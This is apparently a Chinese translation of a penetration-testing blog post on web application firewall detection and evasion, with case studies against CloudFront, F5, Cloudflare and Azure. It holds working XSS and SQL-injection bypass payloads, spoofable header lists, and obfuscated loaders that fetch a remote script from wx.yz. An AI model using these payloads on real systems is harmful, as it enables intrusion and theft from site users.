淘宝店铺怎么推广和引流_秦皇岛房产网_茂名网站建设制作_seo关键词排名工具

WAF的常见检测和规避技术

Web 应用程序防火墙 (WAF) 通过监控、过滤和阻止往返于 Web 服务的 HTTP 流量来帮助保护 Web 应用程序。然而，人们往往依赖 WAF 作为一道防线来保护 Web 应用程序免受所有类型的攻击。

这篇博文简要概述了 WAF 的工作原理以及如何识别正在使用的 WAF，然后深入探讨绕过 WAF 的常见方法和更新颖的方法。最后，我们将讨论一些真实案例研究，这些案例研究展示了更高级的 WAF 规避技术，这些技术已用于对抗 Azure 应用程序网关、Cloudflare、CloudFront、F5 BIG-IP ASM 和 OWASP 核心规则集。

WAF 的工作原理

Web 应用程序防火墙 (WAF) 是一种安全系统，可监控、过滤和阻止流向 Web 应用程序的恶意流量，同时允许合法流量通过。

WAF 通常可防御常见的基于 Web 的攻击，例如代码/命令执行、跨站点脚本 (XSS)、目录遍历、文件包含、SQL 注入和 XML 外部实体 (XXE) 注入。但是，WAF 并非旨在防御所有类型的攻击，例如访问控制违规、业务/流程逻辑缺陷和其他此类攻击。

WAF 使用各种标准来区分合法流量和恶意流量，例如源 IP 地址、所发出的请求类型（例如 GET 与 POST）以及请求正文。有时，WAF 使用学习模型甚至人工智能 (AI) 通过了解用户行为来自动添加规则。

WAF 通常使用以下几种操作模型：

负面模型

该模型使用预定义的签名列表来阻止明显恶意的请求，例如阻止潜在的 SQL 注入或跨站点脚本负载的规则。

正面模型

该模型仅根据专门配置的标准允许网络流量，例如仅允许来自特定 IP 地址或国家/地区的请求。

混合模型

该模型结合了允许列表和黑名单，例如，一个网站面向互联网（需要黑名单模型），但管理界面只需要向一部分用户公开（需要允许列表模型）。

WAF 也有不同的类型，每种类型都有各自的优点和缺点：

基于网络的 WAF

这些部署在网络边界，通常部署在硬件设备或专用服务器上运行的软件上。它们旨在保护网络上托管的所有 Web 应用程序，但需要投资硬件，并且可能无法提供与基于主机的 WAF 一样精细的控制级别。

基于主机的 WAF：

它们通常作为软件解决方案部署在单独的 Web 服务器上，但它们仅保护在部署它们的服务器上运行的 Web 应用程序，并且可能需要额外的资源来管理和维护它们。

云托管的 WAF

这些服务以服务形式部署，由 WAF 提供商管理整个基础设施。它们旨在保护托管在任何类型的服务器上的 Web 应用程序，但需要订阅第三方服务，并且可能无法提供与基于网络或基于主机的 WAF 相同级别的保护，具体取决于提供商。

检测 WAF

可以使用各种技术来检测是否已部署 WAF 来保护 Web 服务。例如，WAF 通常暴露在几个常用端口上，例如 80、443、8000、8080 和 8888。

一些 WAF 在请求中设置自己的 cookie（例如，Citrix NetScaler 和 F5 BIP-IP ASM），而其他 WAF 则将自己与单独的标头关联（例如，Amazon AWS WAF）或更改标头和混乱字符（例如，Citrix NetScaler 和 F5 BIP-IP ASM）。

一些 WAF 直接在服务器响应标头中暴露自己（例如，Approach 和 Cloudflare），而其他 WAF 则在 HTTP 响应主体中暴露自己（例如，dotDefender）。

一些 WAF 甚至会使用不寻常的 HTTP 响应代码来响应潜在的恶意流量（例如，WebKnight 的 999 No Hacking 响应）。更多用于识别 WAF 的技术可以在 0xInfection 提供的综合Awesome WAF资源中(https://github.com/0xInfection/Awesome-WAF)找到。

逃避 WAF

有许多技术可用于确定 WAF 阻止了什么（以及未阻止什么），下面将讨论其中的几种。

模糊测试

确定 WAF 解决方案阻止（和不阻止）的有效负载的一种常见方法是模糊测试。此方法涉及针对 WAF 测试一组有效负载（例如来自SecLists(https://github.com/danielmiessler/SecLists/tree/master/Fuzzing)、FuzzDB(https://github.com/fuzzdb-project/fuzzdb/tree/master/attack)和Payloads All The Things 的payload(https://github.com/swisskyrepo/PayloadsAllTheThings)），并观察 WAF 的响应。

应该记录和分析来自不同有效载荷的所有响应，以确定 WAF 阻止了什么（以及没有阻止什么）。

但是，这种方法存在风险，即模糊测试的源 IP 地址可能会被 WAF 暂时或永久阻止。使用IP Rotate(https://portswigger.net/bappstore/2eb2b1cb1cf34cc79cda36f0f9019874) Burp Suite 扩展、随机 User-Agent 字符串和动态请求延迟有助于避免此类阻止。

反转正则表达式

绕过 WAF 最有效的方法可能是逆转用于检测常见攻击的正则表达式（或正则表达式）和规则。

有些 WAF 依赖于将攻击负载与其数据库中的签名进行匹配，因此可以研究它们的正则表达式/规则并识别可能绕过黑名单关键字的方法。但是，商业 WAF 通常是闭源的，因此它们所依赖的正则表达式/规则不易获得，我们无法对其进行审查。

另一种方法是通过观察被列入黑名单的关键字，逐步对 WAF 的正则表达式/规则进行指纹识别，然后尝试猜测正在使用的正则表达式并制作不使用列入黑名单的关键字的有效负载。此方法的一个示例如下所示：

正则表达式：

preg_match('/(and|or|union)/i', $id)

阻止的尝试：

union select username, password from users

绕过注入：

1 || (select username from users where id = 1) = 'admin'

更多技术可以在 0xInfection 提供的综合Awesome WAF资源中找到。

混淆和编码技术

各种混淆和编码技术也可用于绕过被列入黑名单的关键字。这些技术使用字符的替代表示来试图逃避 WAF 的检测。

下面提供了一些常见的混淆和编码技术，我们将在本博文的后面的案例研究中看到其中一些技术的使用。

案例切换：

• 标准：<script>alert()</script>
• 混淆：<ScRipT>alert()</sCRipT>

URL 编码：

• 标准：<svG/x=">"/oNloaD=confirm()//
• 混淆：%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Unicode 规范化：

• 标准：<marquee onstart=prompt()>
• 混淆：<marquee onstart=\u0070r\u006f\u006dpt()>
• 注意：ES6 还支持使用花括号的新形式的 Unicode 转义，例如，\u{3a}

换行符/回车符：

• 标准：<iframe src="javascript:confirm(0)">
• 混淆：<iframe src="j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">

HTML 表示：

• 标准："><img src=x onerror=confirm()>
• 混淆："><img src=x onerror=confirm()>

评论：

• 标准：<script>alert()</script>
• 混淆：<!--><script>alert/**/()/**/</script>

双重 URL 编码：

• 标准：<script>alert()</script>
• 混淆：%253Cscript%253Ealert%2528%2529%253C%252Fscript%253E

动态有效载荷生成：

• 标准：<script>alert()</script>
• 混淆：<script>eval('al'+'er'+'t()')</script>

替代字符集

替代字符集 (或字符集) 也可用于逃避 WAF 的检测。许多 Web 服务器支持不同的字符编码，并能正确解释替代编码的内容。

有可能使用 WAF 不支持但 Web 服务器可以正确解释的字符编码来混淆有效负载（可以使用Burp Suite 的Hackvertor扩展来执行此操作）(https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100)

例如，IIS 6、7.5、8 和 10（ASPX v4.x）均支持 IBM037 和 IBM500 字符编码，如下例所示。请注意，使用这些字符编码时，不应编码等号 (=) 和与号 (&)。

原始请求：

POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41id2='union all select * from users—

IBM037 编码的请求：

POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

Unicode 兼容性错误

Unicode 兼容性错误还可用于通过将字符集参数或Accept-Charset标头更改为更高的 Unicode 编码（例如，UTF-32）来逃避 WAF 的检测，然后浏览器使用较低的 Unicode 编码（例如，UTF-8）对其进行解码。

在下面显示的示例中，当浏览器使用 UTF-8 编码对 UTF-32 编码的 Payload 进行解码时，解码后的跨站点脚本 Payload<script>alert(1)<script>将被触发：

GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

请求标头欺骗

请求头欺骗还可用于逃避检测，即欺骗 WAF 相信请求来自内部 IP 地址或允许名单上的 IP 地址或国家/地区。

攻击者可以将伪造的 HTTP 标头添加到代表内部 IP 地址（例如 127.0.0.1）的请求中。此技术还可用于重写请求 URL 或覆盖 HTTP 动词以绕过 WAF，例如通过将请求方法从 GET 更改为 POST。

可以欺骗以下请求标头以逃避某些 WAF：

CF-Connecting-IP: 127.0.0.1
CF-IPCountry: GB
Client-IP: 127.0.0.1
CloudFront-Viewer-Country: GB
Cluster-Client-IP: 127.0.0.1
Fastly-Client-IP: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: for=127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 80
X-Forwarded-Proto: http
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-GeoIP-CC: GB
X-Host: 127.0.0.1
X-HTTP-Method-Override: POST
X-Method-Override: POST
X-Original-Url: /admin
X-Originating-IP: 127.0.0.1
X-Override-Url: /admin
X-ProxyUser-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Rewrite-Url: /admin
X-Scraped: 127.0.0.1
X-WAP-Profile: 127.0.0.1/wap.xml

滥用 WAF 请求限制

有时 WAF 对其要检查的 HTTP 请求量有上限。通过发送正文大小超出此上限的 HTTP 请求，我们可以成功避开 WAF。

例如，如果 WAF 仅用于检查 POST 请求正文的前 8192 个字节，则攻击者可以构造一个正文大小超过 8192 字节大小限制的请求，其中有效负载出现在请求正文的第8192个字节之后。Burp Suite WAF Bypadd(https://portswigger.net/bappstore/14c6fc737ce4468b807b80023d9740a8)扩展可用于执行此操作，我们将在本篇博文后面的案例研究中看到此技术的使用。

查找 WAF 绕过（XSS）的方法

我们成功使用了以下一种技术来查找跨站点脚本的 WAF 绕过方法，我们将在本博文的后面的案例研究中看到此技术的元素。

1. 使用 Burp Suite 的 Intruder 工具从PortSwigger XSS 备忘单(https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)中探测 HTML 标签列表。
2. 使用 Intruder 从 PortSwigger XSS 备忘单中探测每个有效 HTML 标签的 JavaScript 事件处理程序列表。
3. 对每个有效负载递归应用不同的混淆和编码技术，并观察来自 WAF 的 HTTP 响应。

案例研究

以下是在评估过程中观察到的真实案例研究，其中使用常见和更新颖的 WAF 逃避技术可以绕过免费和商业 WAF 解决方案，包括 Azure 应用程序网关、Cloudflare、CloudFront 和 F5 BIG-IP ASM。

案例研究 1 – 受 CloudFront 保护的媒体网站

MDSec 评估了受 CloudFront 保护的一家媒体公司的网站。

我们使用 Burp Suite 的 Intruder 工具探测了PortSwigger XSS 备忘单(https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)中的 HTML 标签列表，发现除了之外，CloudFront 阻止的标签并不多<script>。

然后，我们使用 Intruder 探测了 PortSwigger XSS 备忘单中的 JavaScript 事件处理程序列表，发现一些不起眼的事件处理程序被允许通过 WAF，但其中大多数不易被利用。

但是，onbeforetoggle事件处理程序并未被 CloudFront 阻止。该事件在页面上显示或隐藏元素（即具有有效属性的元素）之前beforetoggle触发。popover``popover

PortSwigger 的 Gareth Heyes 对利用此事件处理程序的研究(https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags)提供了一些启发，并构建了以下跨站点脚本负载来绕过 CloudFront：

<button popovertarget=x>Next</button>
<xss onbeforetoggle=
eval(atob(‘dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs=‘)) popover id=x>XSS</xss>

跨站点脚本负载反映在产品搜索结果页面的 HTML 上下文中，单击下面显示的“下一步”按钮将触发负载：

案例研究 2 – 受 CloudFront 和 F5 BIG-IP ASM 保护的网上银行

MDSec 评估了一家网上银行的网站，该网站受到 CloudFront 和 F5 BIG-IP ASM 的保护。该漏洞基于 DOM，并反映在 JavaScript 上下文中，因此无需探测允许的 HTML 标签或 JavaScript 事件处理程序。

我们需要递归地找出 WAF 的正则表达式/规则阻止了什么（以及没有阻止什么），所以我们尝试了一个已知有效的跨站点脚本负载并从那里向后工作。

尝试 1（已知有效的 XSS 负载）：

eval(atob('dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs='));

该有效载荷已被阻止，因此我们在从有效载荷中删除 eval 字符串后再次尝试绕过 WAF：

尝试2（无评估）：

var fn=window[atob('ZXZhbA==')];fn(atob('dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs='));

此有效载荷也被阻止，因此我们推断 atob 字符串也被 WAF 检测到。我们需要构建一个有效的跨站点脚本有效载荷，而不使用这两个字符串。

ParaCyberBellum 的资源(https://xss-payloads.paracyberbellum.io/payloads/scripts/alert.js.html)提供了一些启发，并构建了以下跨站点脚本负载以绕过 CloudFront 和 F5 BIG-IP ASM：

`e1v2a3l4a5t6o7b`.replace(/(.).(.).(.).(.).(.).(.).(.).(.)/, function(match,$1,$2,$3,$4,$5,$6,$7,$8) {
var e=this[$1+$2+$3+$4];
var x=this[$5+$6+$7+$8];
e(x(`dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs=`));
});

该有效载荷使用正则表达式捕获组和 JavaScript 字符串 replace() 方法以及一个函数来返回替换文本并构造跨站点脚本有效载荷，如下所示：

• e1v2a3l4a5t6o7b变成evalatob
• var e = this[$1+$2+$3+$4] = e1v2a3l4a5t6o7b = eval
• var x = this[$5+$6+$7+$8] = e1v2a3l4a5t6o7b = atob
• e(x( = eval(atob(

另一种类似的技术利用了 JavaScript Window 对象的 self 属性，如下所示：

self["\x65\x76\x61\x6c"](self["\x61\x74\x6f\x62"]("dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGUoJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2NyaXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHBzOi8vd3gueXovMS5qcycpO2hlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTs=")
)

self["\x65\x76\x61\x6c"]该payload使用eval ie和atobie的十六进制表示self["\x61\x74\x6f\x62"]来解码Base64编码的字符串。Base64编码的字符串中有以下脚本：

var head = document.getElementsByTagName('head').item(0);
var script = document.createElement('script');
script.setAttribute('type', 'text/javascript');
script.setAttribute('src', 'https://wx.yz/1.js');
head.appendChild(script);

您可以在 Secjuice 的资源中找到有关此技术的更多示例(https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables)。

案例研究 3 – 受 Cloudflare 保护的公共部门 API

MDSec 评估了受 Cloudflare 保护的公共部门公司的 API。

我们发现，当JSON 请求正文中的跨站点脚本负载后添加大量垃圾数据时，Cloudflare 似乎会忽略负载。

事实证明，Cloudflare 只是忽略了超过 131,072 字节 (128 KiB) 的请求。一个 131,073 字节的 POST 请求正文被发送到服务器，其中包括 XSS 有效负载，成功绕过了 Cloudflare。

进一步的研究表明，这可能与 Cloudflare 中每个Durable Object 的]https://developers.cloudflare.com/durable-objects/platform/limits)固定值有关，因此在对抗 Cloudflare 时值得尝试这种技术。

以下屏幕截图显示了当向服务器发送小于 131,072 字节的请求正文时 Cloudflare 的响应：

以下屏幕截图显示了当向服务器发送大于 131,072 字节的请求正文时 Cloudflare 的响应：

案例研究 4 – 受 Azure 应用程序网关保护的医疗保健提供商

MDSec 评估了受 Azure 应用程序网关保护的医疗保健提供商的网站。

我们发现，当在JSON 请求正文中的 SQL 注入负载之前添加大量垃圾数据时，Azure 应用程序网关似乎会忽略负载。

Azure 应用程序网关明确阻止了 SQL“FROM”关键字，这使得在没有 WAF 绕过的情况下利用该漏洞变得困难。但是，可以使用 PostgreSQL box() 几何类型转换函数触发错误，该函数可用于概念验证漏洞利用，而无需 WAF 绕过。

IndiShell Lab 的以下博客文章是这项技术的灵感来源；这些文章非常值得一读，因为其中讨论了很多有用的技术：

• https://www.mannulinux.org/2023/12/New-payload-to-exploit-Error-based-SQL-injection-Oracle-database.html
• https://www.mannulinux.org/2023/12/New-payloads-to-exploit-Error-based-SQL-injection-PostgreSQL-database.html

box()以下屏幕截图显示了如何通过使用 PostgreSQL几何类型转换函数返回服务器上运行的 PostgreSQL 版本来规避 Azure 应用程序网关：

以下屏幕截图显示了如何通过在 JSON 请求正文中的 SQL 注入负载之前添加大量垃圾数据来规避 Azure 应用程序网关：

突破界限

有几种 WAF 逃避技术特别新颖，突破了只需一点创造性思维就能实现的界限。

例如，Aemkei 的Aurebesh.js(https://aem1k.com/aurebesh.js/)是一个脚本，它允许使用任何 ASCII 符号列表来生成一小段有效的 JavaScript 代码。下面显示了一个使用象形文字的示例，WAF 可能很难可靠地检测到此类有效载荷：

𓅂='',𓂀=!𓅂+𓅂,𓁄=!𓂀+𓅂,𓊎=𓅂+{},𓆣=𓂀[𓅂++],𓊝=𓂀[𓇎=𓅂],𓏢=++𓇎+𓅂,𓆗=𓊎[𓇎+𓏢],𓂀[𓆗+=𓊎[𓅂]+(𓂀.𓁄+𓊎)[𓅂]+𓁄[𓏢]+𓆣+𓊝+𓂀[𓇎]+𓆗+𓆣+𓊎[𓅂]+𓊝][𓆗](𓁄[𓅂]+𓁄[𓇎]+𓂀[𓏢]+𓊝+𓆣+"(𓅂)")()

通常，漏洞赏金贡献还会披露一些有趣的 WAF 规避技术。例如，OWASP 核心规则集 (CRS) 于 2022 年开展了一项由 Intigriti 组织的私人漏洞赏金计划。核心规则集是一个开源 WAF 规则集，可保护众多服务器、CDN、云平台，并被许多商业 WAF 使用。

总共收到 175 份报告，并从这些报告中提取了 511 个独特的有效载荷。在私人漏洞赏金计划期间发现了几种新的部分规则集绕过方法，详见以下 CVE：

CVE-2022-39955

• Content-Type charset通过声明多个名称并因此绕过可配置的核心规则集标头字符集允许列表，可能会利用易受攻击的后端Content-Type。

CVE-2022-39956

• Content-Type通过或已弃用的 Content-Transfer-Encoding 多部分 MIME 标头字段提交使用字符编码方案的有效负载。

CVE-2022-39957

• 客户端可以发出包含可选参数的 HTTP 接受标头字段，charset以便以编码形式接收响应。

CVE-2022-39958

• range通过重复提交具有较小字节范围的HTTP 标头字段，依次窃取小块且无法检测到的数据。

然而，有时 WAF 逃避技术可能出奇的简单，例如披露为CVE-2024-1019 的ModSecurity 路径混淆漏洞。

ModSecurity 版本 3.0.0 至 3.0.11 在将 URL 路径与可选查询字符串分开之前解码了 URL 编码字符。这意味着攻击者只需%3f在任何有效负载前插入（即 URL 编码的 ? 字符），即可将有效负载隐藏在 URL 路径中，不让 ModSecurity 规则对其进行检查，如下例所示：

结论

在这篇博文中，我们简要介绍了 WAF 的工作原理以及如何识别正在使用的 WAF，以及绕过 WAF 的常见方法和更新颖的方法。我们还研究了一些案例研究，这些案例研究展示了针对 Azure 应用程序网关、Cloudflare、CloudFront、F5 BIG-IP ASM 和 OWASP 核心规则集的更高级的 WAF 规避技术。

WAF 通常依靠列入黑名单的关键字来过滤请求，不应单独依赖它来防御所有类型的攻击。有许多用于有效负载混淆和编码的技术可供尝试，因此请发挥创造力，从已知的有效负载开始递归工作，以查看 WAF 阻止了（和未阻止）的内容。

遇到 WAF 时不要简单地继续前进；绕过它们通常比您想象的要简单得多！

下面提供了一些有关 WAF 检测和逃避技术的有用资源：

• https://aem1k.com/aurebesh.js/
• https://appcheck-ng.com/unicode-normalization-vulnerability-the-special-k-polyglot
• https://github.com/0xInfection/Awesome-WAF
• https://github.com/Edr4/XSS-Bypass-Filters
• https://github.com/tomnomnom/hacks/tree/master/unisub
• https://github.com/waf-bypass-maker/waf-community-bypasses/blob/main/payloads.twitter.csv
• https://infosecwriteups.com/6000-with-microsoft-hall-of-fame-microsoft-firewall-bypass-crlf-to-xss-microsoft-bug-bounty-8f6615c47922
• https://jlajara.gitlab.io/Bypass_WAF_Unicode
• https://kloudle.com/blog/the-inknown-8kb-aws-waf-request-body-inspection-limitation
• https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tag
• https://rafa.hashnode.dev/exploiting-http-parsers-inconsistency
• https://www.irongeek.com/homoglyph-attack-generator.php
• https://www.slideshare.net/SoroushDalili/waf-bypass-techniques-using-http-standard-and-web-servers-behaviour
• https://xss-payloads.paracyberbellum.io

本博文引用的资源如下：

• https://aem1k.com/aurebesh.js
• https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass
• https://coreruleset.org/20220919/crs-version-3-3-3-and-3-2-2-covering-several-cves
• https://github.com/0xInfection/Awesome-WAF
• https://hacken.io/discover/how-to-bypass-waf-hackenproof-cheat-sheet
• https://www.hackerone.com/knowledge-center/web-application-firewall
• https://infosecwriteups.com/6000-with-microsoft-hall-of-fame-microsoft-firewall-bypass-crlf-to-xss-microsoft-bug-bounty-8f6615c47922
• https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings